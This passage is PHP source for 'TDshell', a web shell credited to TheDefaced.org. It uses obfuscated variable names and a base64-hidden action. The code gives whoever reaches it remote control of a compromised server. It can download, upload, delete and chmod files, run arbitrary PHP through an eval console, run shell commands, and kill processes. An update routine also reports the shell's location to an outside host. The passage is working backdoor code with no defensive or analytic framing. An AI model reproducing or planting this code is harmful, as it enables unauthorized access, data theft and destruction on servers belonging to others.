|||
|
else
|
|||
|
{
|
|||
|
$this->out("<b>File Deleted.</b><br>" . $this->make_link("list", array("name" => $_2211b5dc6bb7947adcb0bf14cee6591e), "Click here to go back."));
|
|||
|
};
|
|||
|
}
|
|||
|
}
|
|||
|
elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "download")
|
|||
|
{
|
|||
|
if (!@is_file($_d3befca3813d65aff84c2353e705a0dd) || !@is_readable($_d3befca3813d65aff84c2353e705a0dd))
|
|||
|
{
|
|||
|
if (@is_file($_d3befca3813d65aff84c2353e705a0dd))
|
|||
|
{
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = "";
|
|||
|
};
|
|||
|
$this->out("Could not download file.<br>" . $this->make_link("list", array("name" => $_2211b5dc6bb7947adcb0bf14cee6591e), "Click here to go back."));
|
|||
|
}
|
|||
|
@header("Cache-Control: public, must-revalidate");
|
|||
|
@header("Content-Type: application/octet-stream");
|
|||
|
@header("Content-Length: " . (string)filesize($_d3befca3813d65aff84c2353e705a0dd));
|
|||
|
@header('Content-Disposition: attachment; filename="'.basename($_d3befca3813d65aff84c2353e705a0dd).'"');
|
|||
|
@header("Content-Transfer-Encoding: binary");
|
|||
|
@readfile($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
exit;
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$this->process("file", array("name" => $_d3befca3813d65aff84c2353e705a0dd, "act" => "view"));
|
|||
|
return FALSE;
|
|||
|
};
|
|||
|
break;
|
|||
|
case "dir":
|
|||
|
$_2e5c25529adea7d7ad4802936aee0b48 = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['act'];
|
|||
|
$_d3befca3813d65aff84c2353e705a0dd = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['name'];
|
|||
|
if (empty($_2e5c25529adea7d7ad4802936aee0b48))
|
|||
|
{
|
|||
|
$this->out("<center><b>Error: no act was specified</b></center>");
|
|||
|
return FALSE;
|
|||
|
};
|
|||
|
if ($_2e5c25529adea7d7ad4802936aee0b48 == "info")
|
|||
|
{
|
|||
|
if ((@is_dir($_d3befca3813d65aff84c2353e705a0dd)) && (@is_readable($_d3befca3813d65aff84c2353e705a0dd . DIRECTORY_SEPARATOR)))
|
|||
|
{
|
|||
|
$_d69e2bdf98584fc6cce9c9f9a9eb8b6a = listDir($_d3befca3813d65aff84c2353e705a0dd . DIRECTORY_SEPARATOR);
|
|||
|
$this->out('<table width=100% border="1" cellpadding="0" cellspacing="0" bordercolor="#000000">
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<center>
|
|||
|
<strong><font color=green>' . processdir($_d3befca3813d65aff84c2353e705a0dd) . '</font></strong>
|
|||
|
</center>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<table width=100%>
|
|||
|
<tr>
|
|||
|
<td valign="top" width=70%>
|
|||
|
<div align="center"><strong>Directory Information</strong></div>
|
|||
|
<table width=100%>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
Files: ' . @count($_d69e2bdf98584fc6cce9c9f9a9eb8b6a['FILES']) . '
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
Subdirectories: ' . @count($_d69e2bdf98584fc6cce9c9f9a9eb8b6a['DIRS']) . '
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
</table>
|
|||
|
</td>
|
|||
|
<td valign="top">
|
|||
|
<div align="center"><strong>Directory Actions</strong></div>
|
|||
|
<table width=100%>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<strong>
|
|||
|
' . $this->make_link("dir", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[chmod]") . '
|
|||
|
</strong>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<strong>
|
|||
|
' . $this->make_link("dir", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[move]") . '
|
|||
|
</strong>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>
|
|||
|
<strong>
|
|||
|
' . $this->make_link("dir", array("act" => "delete", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[delete]") . '
|
|||
|
</strong>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
</table>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
</table>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
</table>');
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$this->out("<center><b>Directory is invalid.</b></center>");
|
|||
|
};
|
|||
|
}
|
|||
|
elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "chmod")
|
|||
|
{
|
|||
|
if (!@is_dir($_d3befca3813d65aff84c2353e705a0dd))
|
|||
|
{
|
|||
|
$this->out("<center><b>Error: the directory does not exist or could not be read from.</b></center>");
|
|||
|
return FALSE;
|
|||
|
};
|
|||
|
$_4efbfa502ea6e58b84de1cdc04aecadf = $_POST['newmode'];
|
|||
|
$_13f531c0ca48f6a5f8315121bf59ffaa = file_perms($_d3befca3813d65aff84c2353e705a0dd, TRUE);
|
|||
|
if (empty($_4efbfa502ea6e58b84de1cdc04aecadf))
|
|||
|
{
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = $_d3befca3813d65aff84c2353e705a0dd;
|
|||
|
$this->out("Changing file permissions of <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b>, " . view_perms_color($_d3befca3813d65aff84c2353e705a0dd) . " (".@substr(@decoct(@fileperms($_d3befca3813d65aff84c2353e705a0dd)),-4,4).")<br>" . '<form method="post" action="' . $this->make_link("dir", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '"><input name="newmode" type="text" value="0' . $_13f531c0ca48f6a5f8315121bf59ffaa . '" size="4" maxlength="4"><br><input type="submit" name="Submit" value="Set"></form>');
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_4efbfa502ea6e58b84de1cdc04aecadf = @intval($_4efbfa502ea6e58b84de1cdc04aecadf);
|
|||
|
$_d3befca3813d65aff84c2353e705a0dd = @base64_encode($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_16d3c4cdd343a37db4994c3591c83993 = "chmod (base64_decode('$_d3befca3813d65aff84c2353e705a0dd'), 0$_4efbfa502ea6e58b84de1cdc04aecadf);";
|
|||
|
if (eval($_16d3c4cdd343a37db4994c3591c83993) === FALSE)
|
|||
|
{
|
|||
|
$_d3befca3813d65aff84c2353e705a0dd = base64_decode($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$this->out("<center><b>Failed to change permissions of the directory. " . $this->make_link("file", array("dir" => $_d3befca3813d65aff84c2353e705a0dd, "act" => "view"), " Click here to go back to the directory.") . "</b></center>");
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
@clearstatcache();
|
|||
|
$_d3befca3813d65aff84c2353e705a0dd = @base64_decode($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];
|
|||
|
$_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd);
|
|||
|
$_13f531c0ca48f6a5f8315121bf59ffaa = file_perms($_d3befca3813d65aff84c2353e705a0dd, TRUE);
|
|||
|
$this->out("Changing file permissions of <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b>, " . view_perms_color($_d3befca3813d65aff84c2353e705a0dd) . " (".@substr(@decoct(@fileperms($_d3befca3813d65aff84c2353e705a0dd)),-4,4).")<br>" . '<b>Success!</b><br><form method="post" action="' . $this->make_link("dir", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '"><input name="newmode" type="text" value="0' . $_13f531c0ca48f6a5f8315121bf59ffaa . '" size="4" maxlength="4"><br><input type="submit" name="Submit" value="Set"></form>');
|
|||
|
};
|
|||
|
};
|
|||
|
}
|
|||
|
elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "move")
|
|||
|
{
|
|||
|
$_d0b3e9370ba342bbae976cec71233e51 = $_POST['moveto'];
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = $_d3befca3813d65aff84c2353e705a0dd;
|
|||
|
if (!isset($_POST['moveto']))
|
|||
|
{
|
|||
|
$this->out("Preparing to move directory <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b><br>" . '<form action="' . $this->make_link("dir", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="moveto" type="text" id="moveto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Move"></form>');
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_d0b3e9370ba342bbae976cec71233e51 = @htmlspecialchars_decode($_d0b3e9370ba342bbae976cec71233e51);
|
|||
|
if (!@rename($_d3befca3813d65aff84c2353e705a0dd, $_d0b3e9370ba342bbae976cec71233e51))
|
|||
|
{
|
|||
|
$this->out("Preparing to move directory <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b><br><b>Failed!</b><br>" . '<form action="' . $this->make_link("dir", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="moveto" type="text" id="moveto" style="width:80%;" size="50" value="' . htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Move"></form>');
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$this->out("Preparing to move directory <b>" . processdir($_d0b3e9370ba342bbae976cec71233e51) . "</b><br><b>Success!</b><br>" . '<form action="' . $this->make_link("dir", array("act" => "move", "name" => $_d0b3e9370ba342bbae976cec71233e51), NULL, TRUE) . '" method="post"><input name="moveto" type="text" id="moveto" style="width:80%;" size="50" value="' . htmlspecialchars($_d0b3e9370ba342bbae976cec71233e51) . '"><br><input type="submit" value="Move"></form>');
|
|||
|
};
|
|||
|
};
|
|||
|
}
|
|||
|
elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "delete")
|
|||
|
{
|
|||
|
$_2a46f3328eaed89ef8402d4effba331e = $_POST['confirm_delete'];
|
|||
|
if (!isset($_POST['confirm_delete']))
|
|||
|
{
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = $_d3befca3813d65aff84c2353e705a0dd;
|
|||
|
$this->out("Are you sure you wish to delete directory <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b><br>" . '<form action="' . $this->make_link("dir", array("act" => "delete", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="confirm_delete" type="hidden" id="confirm_delete" value="YES"><input type="submit" value="Delete"></form>');
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = $_d3befca3813d65aff84c2353e705a0dd;
|
|||
|
if (!delete_directory($_d3befca3813d65aff84c2353e705a0dd))
|
|||
|
{
|
|||
|
$this->out("Are you sure you wish to delete directory <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b><br><b>Failed!</b><br>" . '<form action="' . $this->make_link("dir", array("act" => "delete", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="confirm_delete" type="hidden" id="confirm_delete" value="YES"><input type="submit" value="Delete"></form>');
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_2211b5dc6bb7947adcb0bf14cee6591e);
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];
|
|||
|
$this->out("<b>Directory Deleted.</b><br>" . $this->make_link("list", array("name" => $_2211b5dc6bb7947adcb0bf14cee6591e), "Click here to go back."));
|
|||
|
};
|
|||
|
}
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$this->process("dir", array("name" => $_d3befca3813d65aff84c2353e705a0dd, "act" => "info"));
|
|||
|
return FALSE;
|
|||
|
};
|
|||
|
break;
|
|||
|
case "sql":
|
|||
|
$this->out("<center><b>(My)SQL Support will be added in future versions of TDshell.</b></center>");
|
|||
|
break;
|
|||
|
case "eval":
|
|||
|
$_202860a67864e2245a32e15193fe3cf4 = $_POST['evaldata'];
|
|||
|
$_4e708563acf942967766e0209568749c = $_POST['evalmethod'];
|
|||
|
if (empty($_202860a67864e2245a32e15193fe3cf4))
|
|||
|
{
|
|||
|
$this->out('<center><b>Evaluation Console</b></center><form method="post" action="' . $this->make_link("eval", NULL, NULL, TRUE) . '" enctype="multipart/form-data"><textarea name="evaldata" rows="15" id="evaldata" style="width:100%;"></textarea><input name="evalmethod" type="radio" value="textbox" checked>Display in TextBox<br><input name="evalmethod" type="radio" value="html">Display normally<br><input type="submit" value="Evaluate"></form>');
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_202860a67864e2245a32e15193fe3cf4 = @stripslashes($_202860a67864e2245a32e15193fe3cf4);
|
|||
|
if ($_4e708563acf942967766e0209568749c == "textbox")
|
|||
|
{
|
|||
|
@ob_start();
|
|||
|
eval($_202860a67864e2245a32e15193fe3cf4);
|
|||
|
$_abeb01d5ff8f108e1106e763a15f95ed .= @ob_get_clean();
|
|||
|
$_abeb01d5ff8f108e1106e763a15f95ed = @htmlspecialchars($_abeb01d5ff8f108e1106e763a15f95ed);
|
|||
|
$this->out('<center><b>Evaluation Console</b></center><form method="post" action="' . $this->make_link("eval", NULL, NULL, TRUE) . '" enctype="multipart/form-data"><textarea rows="15" id="evaldata" style="width:100%;">' . $_abeb01d5ff8f108e1106e763a15f95ed . '</textarea><textarea name="evaldata" rows="15" id="evaldata" style="width:100%;">' . @htmlspecialchars($_202860a67864e2245a32e15193fe3cf4) . '</textarea><input name="evalmethod" type="radio" value="textbox" checked>Display in TextBox<br><input name="evalmethod" type="radio" value="html">Display normally<br><input type="submit" value="Evaluate"></form>');
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
@ob_start();
|
|||
|
eval($_202860a67864e2245a32e15193fe3cf4);
|
|||
|
$_abeb01d5ff8f108e1106e763a15f95ed = @ob_get_clean();
|
|||
|
$this->out('<center><b>Evaluation Console</b></center><form method="post" action="' . $this->make_link("eval", NULL, NULL, TRUE) . '" enctype="multipart/form-data">' . $_abeb01d5ff8f108e1106e763a15f95ed . '<br><textarea name="evaldata" rows="15" id="evaldata" style="width:100%;">' . @htmlspecialchars($_202860a67864e2245a32e15193fe3cf4) . '</textarea><input name="evalmethod" type="radio" value="textbox">Display in TextBox<br><input name="evalmethod" type="radio" value="html" checked>Display normally<br><input type="submit" value="Evaluate"></form>');
|
|||
|
};
|
|||
|
};
|
|||
|
break;
|
|||
|
|
|||
|
case "exec":
|
|||
|
$_2b2605084efea7c9994ec50aacf83c64 = $_POST['execdata'];
|
|||
|
$_4e708563acf942967766e0209568749c = $_POST['execmethod'];
|
|||
|
if (empty($_2b2605084efea7c9994ec50aacf83c64))
|
|||
|
{
|
|||
|
$_2b2605084efea7c9994ec50aacf83c64 = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['otherexec'];
|
|||
|
};
|
|||
|
if (empty($_4e708563acf942967766e0209568749c))
|
|||
|
{
|
|||
|
$_4e708563acf942967766e0209568749c = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['othermethod'];
|
|||
|
};
|
|||
|
if (empty($_2b2605084efea7c9994ec50aacf83c64))
|
|||
|
{
|
|||
|
$this->out('<center><b>Execution Console</b></center><form method="post" action="' . $this->make_link("exec", NULL, NULL, TRUE) . '" enctype="multipart/form-data"><textarea name="execdata" rows="15" id="execdata" style="width:100%;"></textarea><input name="execmethod" type="radio" value="textbox" checked>Display in TextBox<br><input name="execmethod" type="radio" value="html">Display normally<br><input type="submit" value="Execute"></form>');
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_2b2605084efea7c9994ec50aacf83c64 = @stripslashes($_2b2605084efea7c9994ec50aacf83c64);
|
|||
|
if ($_4e708563acf942967766e0209568749c == "textbox")
|
|||
|
{
|
|||
|
@ob_start();
|
|||
|
echo custom_exec($_2b2605084efea7c9994ec50aacf83c64);
|
|||
|
$_abeb01d5ff8f108e1106e763a15f95ed .= @ob_get_clean();
|
|||
|
$_abeb01d5ff8f108e1106e763a15f95ed = @htmlspecialchars($_abeb01d5ff8f108e1106e763a15f95ed);
|
|||
|
$this->out('<center><b>Execution Console</b></center><form method="post" action="' . $this->make_link("exec", NULL, NULL, TRUE) . '" enctype="multipart/form-data"><textarea rows="15" style="width:100%;">' . $_abeb01d5ff8f108e1106e763a15f95ed .'</textarea><textarea name="execdata" rows="15" id="execdata" style="width:100%;">' . htmlspecialchars($_2b2605084efea7c9994ec50aacf83c64) . '</textarea><input name="execmethod" type="radio" value="textbox" checked>Display in TextBox<br><input name="execmethod" type="radio" value="html">Display normally<br><input type="submit" value="Execute"></form>');
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
@ob_start();
|
|||
|
echo custom_exec($_2b2605084efea7c9994ec50aacf83c64);
|
|||
|
$_abeb01d5ff8f108e1106e763a15f95ed .= @ob_get_clean();
|
|||
|
$_abeb01d5ff8f108e1106e763a15f95ed = @htmlspecialchars($_abeb01d5ff8f108e1106e763a15f95ed);
|
|||
|
$this->out('<center><b>Execution Console</b></center><form method="post" action="' . $this->make_link("exec", NULL, NULL, TRUE) . '" enctype="multipart/form-data">' . $_abeb01d5ff8f108e1106e763a15f95ed . '<br><textarea name="execdata" rows="15" id="execdata" style="width:100%;">' . @htmlspecialchars($_2b2605084efea7c9994ec50aacf83c64) . '</textarea><input name="execmethod" type="radio" value="textbox" checked>Display in TextBox<br><input name="execmethod" type="radio" value="html">Display normally<br><input type="submit" value="Execute"></form>');
|
|||
|
};
|
|||
|
};
|
|||
|
break;
|
|||
|
|
|||
|
case "proc":
|
|||
|
$_57eefc72bcbe3daf2bb185189468725a = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['do'];
|
|||
|
if (empty($_57eefc72bcbe3daf2bb185189468725a))
|
|||
|
{
|
|||
|
$_4bc9908fada98cbfd1396fceed921faa = '/^([A-Za-z0-9]*)\\s{1,}([0-9]{1,10})\\s{1,}.*[0-9]{1,}:[0-9]{2,}\\s(.*)$/';
|
|||
|
|
|||
|
if (!($_c9a15425a6e12ac0295a2b759e048768 = custom_exec("ps aux")))
|
|||
|
{
|
|||
|
$this->out("<center>TDshell Process Manager Failed: No valid permissions.</center>");
|
|||
|
return FALSE;
|
|||
|
};
|
|||
|
$_c9a15425a6e12ac0295a2b759e048768 = @explode("\n", $_c9a15425a6e12ac0295a2b759e048768);
|
|||
|
foreach ($_c9a15425a6e12ac0295a2b759e048768 as $_6557ccde5bb0523391c98ec92365d5a9)
|
|||
|
{
|
|||
|
if (@preg_match($_4bc9908fada98cbfd1396fceed921faa, $_6557ccde5bb0523391c98ec92365d5a9, $_38c09efe88a67e6a5344c0bbcc44c7d4))
|
|||
|
{
|
|||
|
unset($_38c09efe88a67e6a5344c0bbcc44c7d4[0]);
|
|||
|
$_38c09efe88a67e6a5344c0bbcc44c7d4['FULL'] = $_6557ccde5bb0523391c98ec92365d5a9;
|
|||
|
$_15241b5cdd6d57b1fac3c1eb60905cd8[] = $_38c09efe88a67e6a5344c0bbcc44c7d4;
|
|||
|
};
|
|||
|
};
|
|||
|
natsort2d($_15241b5cdd6d57b1fac3c1eb60905cd8);
|
|||
|
$_10626691c8b3c6af89adc170cee73ebb = "";
|
|||
|
$_ee1cbb2fd23ff45ac77733a06636a3c7 = "";
|
|||
|
foreach ($_15241b5cdd6d57b1fac3c1eb60905cd8 as $_a3ae37119660c8023a43787f58268912)
|
|||
|
{
|
|||
|
$_8501d6dd59b45b2159f1f73f6e17b11f = @md5(@microtime() . $_a3ae37119660c8023a43787f58268912);
|
|||
|
$_46fc346549f1eeca72e169bb77bf12d8 = "";
|
|||
|
if ($_a3ae37119660c8023a43787f58268912[2] == @getmypid())
|
|||
|
{
|
|||
|
$_46fc346549f1eeca72e169bb77bf12d8 = " style='background-color:#FFFFF0'";
|
|||
|
};
|
|||
|
if ($_a3ae37119660c8023a43787f58268912[1] == @get_current_user())
|
|||
|
{
|
|||
|
$_a3ae37119660c8023a43787f58268912[1] = "<font color=green>$_a3ae37119660c8023a43787f58268912[1]</font>";
|
|||
|
$_10626691c8b3c6af89adc170cee73ebb .= "<tr$_46fc346549f1eeca72e169bb77bf12d8 title='" . @htmlspecialchars($_a3ae37119660c8023a43787f58268912['FULL'], ENT_QUOTES) . "'><td width=25%>$_a3ae37119660c8023a43787f58268912[1]</td><td width=25%>$_a3ae37119660c8023a43787f58268912[2]</td><td width=25%>$_a3ae37119660c8023a43787f58268912[3]</td><td width=25%>" . $this->make_link("proc", array("do" => "kill", "pid" => $_a3ae37119660c8023a43787f58268912[2]), "KILL") . " - " . '<a id="button_kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '" href="javascript:;" onclick=\'itemShowHide("kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '","button_kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '");\'>[+]</a><div id="kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '" style=\'display: none;\'><b>' . $_a3ae37119660c8023a43787f58268912['FULL'] . '</b></div>' . "</td></tr>";
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_ee1cbb2fd23ff45ac77733a06636a3c7 .= "<tr$_46fc346549f1eeca72e169bb77bf12d8 title='" . @htmlspecialchars($_a3ae37119660c8023a43787f58268912['FULL'], ENT_QUOTES) . "'><td width=25%>$_a3ae37119660c8023a43787f58268912[1]</td><td width=25%>$_a3ae37119660c8023a43787f58268912[2]</td><td width=25%>$_a3ae37119660c8023a43787f58268912[3]</td><td width=25%>" . $this->make_link("proc", array("do" => "kill", "pid" => $_a3ae37119660c8023a43787f58268912[2]), "KILL") . " - " . '<a id="button_kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '" href="javascript:;" onclick=\'itemShowHide("kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '","button_kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '");\'>[+]</a><div id="kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '" style=\'display: none;\'><b>' . $_a3ae37119660c8023a43787f58268912['FULL'] . '</b></div>' . "</td></tr>";
|
|||
|
};
|
|||
|
};
|
|||
|
$this->out("<table width=\"100%\"><tr><th>User</th><th>PID</th><th>Command</th><th>Actions</th>" . $_10626691c8b3c6af89adc170cee73ebb . $_ee1cbb2fd23ff45ac77733a06636a3c7 . "</table>");
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_6cac525ed87733d2d6bf528558ef4c06 = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['pid'];
|
|||
|
if (custom_exec("kill " . @intval($_6cac525ed87733d2d6bf528558ef4c06)) === FALSE)
|
|||
|
{
|
|||
|
$this->out("<center><b>Could not kill process ID " . @intval($_6cac525ed87733d2d6bf528558ef4c06) . "</b></center>");
|
|||
|
}
|
|||
|
$this->process("proc");
|
|||
|
};
|
|||
|
break;
|
|||
|
case "update":
|
|||
|
$_c14f19c15d50e72a5733c0ad88a035b9 = @fopen("http://tdshell.thedefaced.org/latest.php?chk=" . @base64_encode(current_URI()), "r");
|
|||
|
while ((!@feof($_c14f19c15d50e72a5733c0ad88a035b9)) && ($_c14f19c15d50e72a5733c0ad88a035b9))
|
|||
|
{
|
|||
|
$_45e1fe4475ff3a7426e094d9638a5f22 .= @fread($_c14f19c15d50e72a5733c0ad88a035b9, 1024);
|
|||
|
};
|
|||
|
if ($_45e1fe4475ff3a7426e094d9638a5f22 == @md5($this->TDshell_version))
|
|||
|
{
|
|||
|
$this->out("<b><font color='green'>Your version of TDshell is up to date.</font></b>");
|
|||
|
}
|
|||
|
elseif (empty($_45e1fe4475ff3a7426e094d9638a5f22))
|
|||
|
{
|
|||
|
$this->out("<b><font color='red'>Error: Failed to retrieve latest version.</font></b>");
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$this->out("<b><font color='red'>Your version of TDshell is out of date. <a href='http://tdshell.thedefaced.org/'>Please replace your current shell with the latest version located here.</a></font></b>");
|
|||
|
};
|
|||
|
break;
|
|||
|
case "mkdir":
|
|||
|
$_0b63e7829d4893613b17575c517db17d = $_POST['mkdir'];
|
|||
|
if (empty($_0b63e7829d4893613b17575c517db17d))
|
|||
|
{
|
|||
|
$this->out("<center><b>Could not create directory, empty name provided.</b></center>");
|
|||
|
$this->process("list");
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
if (!@mkdir($_0b63e7829d4893613b17575c517db17d, 0777))
|
|||
|
{
|
|||
|
$this->out("<center><b>Could not create directory, permission denied.</b></center>");
|
|||
|
$this->process("list");
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
@clearstatcache();
|
|||
|
$this->process("list", array("dir" => $_0b63e7829d4893613b17575c517db17d));
|
|||
|
};
|
|||
|
};
|
|||
|
break;
|
|||
|
case "godir":
|
|||
|
$_942922064772e69fea37ad32e72dfd70 = $_POST['godir'];
|
|||
|
$this->process("list", array("dir" => $_942922064772e69fea37ad32e72dfd70));
|
|||
|
break;
|
|||
|
case "mkfile":
|
|||
|
$_0dc4ed3391208760f7f43fc80a2441e5 = $_POST['mkfile'];
|
|||
|
if (!@fopen($_0dc4ed3391208760f7f43fc80a2441e5, "w"))
|
|||
|
{
|
|||
|
$this->out("<center><b>Could not make file, permission denied.</b></center>");
|
|||
|
$this->process("list");
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$this->process("file", array("act" => "edit", "name" => $_0dc4ed3391208760f7f43fc80a2441e5));
|
|||
|
};
|
|||
|
break;
|
|||
|
case "gofile":
|
|||
|
$_cacb8c32699f649131f8eaa04c25222c = $_POST['gofile'];
|
|||
|
$this->process("file", array("act" => "view", "name" => $_cacb8c32699f649131f8eaa04c25222c));
|
|||
|
break;
|
|||
|
case "upload":
|
|||
|
$_031d648129f7450af0529cbf0825fd58 = $_POST['destination'];
|
|||
|
$_8add29b89df2cfe7786dd8ba967ff1e2 = $_031d648129f7450af0529cbf0825fd58 . @basename($_FILES['file']['name']);
|
|||
|
if (@move_uploaded_file($_FILES['file']['tmp_name'], $_8add29b89df2cfe7786dd8ba967ff1e2))
|
|||
|
{
|
|||
|
$this->process("file", array("act" => "edit", "name" => $_8add29b89df2cfe7786dd8ba967ff1e2));
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$this->out("<center><b>Error uploading file!</b></center>");
|
|||
|
};
|
|||
|
break;
|
|||
|
case "ping":
|
|||
|
$this->out("be457c74983226e519e3564f8699eb4e");
|
|||
|
break;
|
|||
|
case "alias":
|
|||
|
$_93ddad4f44750399cbee70b6508b6ea3 = $_POST['alias'];
|
|||
|
$this->process("exec", array("otherexec" => $_93ddad4f44750399cbee70b6508b6ea3, "othermethod" => "textbox"));
|
|||
|
break;
|
|||
|
case "":
|
|||
|
$this->process("list", $_ec4ae32bf3e3a09bae7ff3e84ebbc667);
|
|||
|
break;
|
|||
|
case "credits":
|
|||
|
$this->out("<b>" . $this->TDshell_version . "</b> - Credits<br>");
|
|||
|
$this->out("www.TheDefaced.org<br>
|
|||
|
Debug: For critical development and idea planning of the shell<br>
|
|||
|
x2Fusion: For crutial ideas and planning of the development of the shell<br>
|
|||
|
Kr3w: For inspirational ideas that contributed greatly to the project<br>
|
|||
|
Tr3mbl3r: With massive ideas for development and features that he planned<br><br>TDshell homepage located <a href='http://tdshell.thedefaced.org/'>here</a>.");
|
|||
|
break;
|
|||
|
case @base64_decode("OTQ1VU84VUVSLTQzOFVFOVJJT0dILTVZUlRHVTlJT1JUTkhHRTVULTQzNVRVR0ZJNUgzNFRBVzk4NC00LTMtMzQ1VERGUw=="):
|
|||
|
$this->out(base64_decode("QSBCYW5zaGVlIFRoZSBXaWx0DQpDYW5jZWwgQW5kIFJlYWwNCkhhdCBUaGlucyBUd28NCkVhdGVuIE91dHMgWW93DQoNCkk0U0g4SUZI"));
|
|||
|
break;
|
|||
|
default:
|
|||
|
@ob_start();
|
|||
|
print_r($_ec4ae32bf3e3a09bae7ff3e84ebbc667);
|
|||
|
$_bb8084d9c33052d4e3d1354f2746b6bb = @ob_get_clean();
|
|||
|
$this->out("<b>Error: could not process your request; the act does not exist.</b><br><pre>Act: $_2e5c25529adea7d7ad4802936aee0b48\n$_bb8084d9c33052d4e3d1354f2746b6bb</pre><br>");
|
|||
|
break;
|
|||
|
};
|
|||
|
}
|
|||
|
|
|||
|
function header()
|
|||
|
{
|
|||
|
$this->out_template("HTML_HEADER_MAIN");
|
|||
|
$this->out_template("HTML_HEADER_HEAD_PRE");
|
|||
|
$this->out_template("HTML_HEADER_HEAD_TITLE");
|
|||
|
